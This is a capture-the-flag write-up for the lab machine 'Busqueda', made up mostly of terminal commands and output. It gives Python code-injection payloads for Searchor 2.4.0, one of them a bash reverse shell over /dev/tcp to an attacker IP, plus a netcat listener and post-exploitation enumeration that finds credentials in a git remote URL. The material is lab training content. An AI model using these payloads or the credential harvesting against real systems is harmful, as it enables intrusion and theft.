Busqueda

Information Gathering

Port and Service

                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/ctf/busqueda]
└─$ nmap -p- -sVC 10.10.11.208 --min-rate 1000 -oN nmap_res
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-15 19:00 WIB
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 18.30% done; ETC: 19:00 (0:00:13 remaining)
Nmap scan report for 10.10.11.208
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_  256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.82 seconds
                                                                            

',__import__('os').system('id')) #

• https://security.snyk.io/package/pip/searchor/2.4.0

',__import__('os').system('/bin/bash+-c+"/bin/bash+-i+>%26/dev/tcp/10.10.16.20/80+0>%261"'))+#

┌──(kali㉿kali)-[~/ctf/busqueda]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.20] from (UNKNOWN) [10.10.11.208] 52458
bash: cannot set terminal process group (1672): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ 

svc@busqueda:/var/www/app$ ls -la
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3  2023 .
drwxr-xr-x 4 root     root     4096 Apr  4  2023 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 May 15 04:59 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www/app$ 

svc@busqueda:/var/www/app$ git log
git log
fatal: detected dubious ownership in repository at '/var/www/app'
To add an exception for this directory, call:

        git config --global --add safe.directory /var/www/app
svc@busqueda:/var/www/app$ git config --global --add safe.directory /var/www/app
<t config --global --add safe.directory /var/www/app
svc@busqueda:/var/www/app$ 

svc@busqueda:/var/www/app$ git log
git log
WARNING: terminal is not fully functional
Press RETURN to continue 

commit 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 (HEAD -> main, origin/main)
Author: administrator <[email protected]>
Date:   Sun Dec 25 12:14:21 2022 +0000

    Initial commit
svc@busqueda:/var/www/app$ 

svc@busqueda:/var/www/app$ cat .git/config
cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:[email protected]/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
svc@busqueda:/var/www/app$ 

svc@busqueda:/var/www/app$ ss -tupln
ss -tupln
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess                                                     
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*                                                               
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*                                                               
tcp   LISTEN 0      4096       127.0.0.1:222        0.0.0.0:*                                                               
tcp   LISTEN 0      128        127.0.0.1:5000       0.0.0.0:*    users:(("python3",pid=1672,fd=6),("python3",pid=1672,fd=4))
tcp   LISTEN 0      4096       127.0.0.1:3306       0.0.0.0:*                                                               
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*                                                               
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*                                                               
tcp   LISTEN 0      4096       127.0.0.1:3000       0.0.0.0:*                                                               
tcp   LISTEN 0      4096       127.0.0.1:37177      0.0.0.0:*                                                               
tcp   LISTEN 0      511                *:80               *:*                                                               
tcp   LISTEN 0      128             [::]:22            [::]:*                                                               
svc@busqueda:/var/www/app$